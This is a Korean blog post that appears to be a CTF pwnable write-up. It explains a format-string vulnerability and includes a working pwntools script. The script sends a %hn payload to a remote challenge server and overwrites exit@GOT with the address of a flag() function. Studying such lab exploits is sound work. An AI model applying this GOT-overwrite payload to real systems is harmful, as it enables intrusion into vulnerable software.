2017. 10. 13. 16:48
Hack/포너블
문제 특징.
1. FSB
2. exit()로 끝나기 때문에 main의 RET 변조는 의미 없음
3. NX 존재
4. flag() 함수 존재
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | #-*- coding: UTF-8 -*- from pwn import * # proc = process('./32_new') proc = remote('163.172.176.29', 9035) payload = '' payload += '%8x' * 9 payload += '%x' * 6 payload += '%x' * 3 + '%8x' payload += '%x' * 4 payload += '%34277x' + '%x' * 5 + '%hn' + '1234' payload += p32(0x0804a034) pause() # exploit print(proc.recvuntil('name?\n')) proc.sendline(payload) print(proc.recv()) proc.interactive() | cs |
1. exploit
exit@plt.got(0x0804a034)를 flag 함수의 주소(0x0804870b)로 바꿔주면 된다.
상위 2byte는 0x0804로 값이 같기 때문에 하위 2byte만 %hn으로 변경해주면 된다.
0x870b 라는 값을 넣기 위한 payload를 작성하고 exploit한다.
후기.
payload를 짜는게 힘들었다. pwntools에 FSB 툴이 있다고 알고 있는데 알아봐야겠다.
'Hack > 포너블' 카테고리의 다른 글
[Power Of XX] note (0) | 2017.10.26 |
---|---|
[CSAW 2017] scv (0) | 2017.09.20 |
[포너블] level1 (7) | 2017.03.11 |
[Codegate 2016] watermelon (3) | 2017.02.23 |
[Linux] %?$p 와 64bit 프로그램 매개변수 순서 (0) | 2017.02.21 |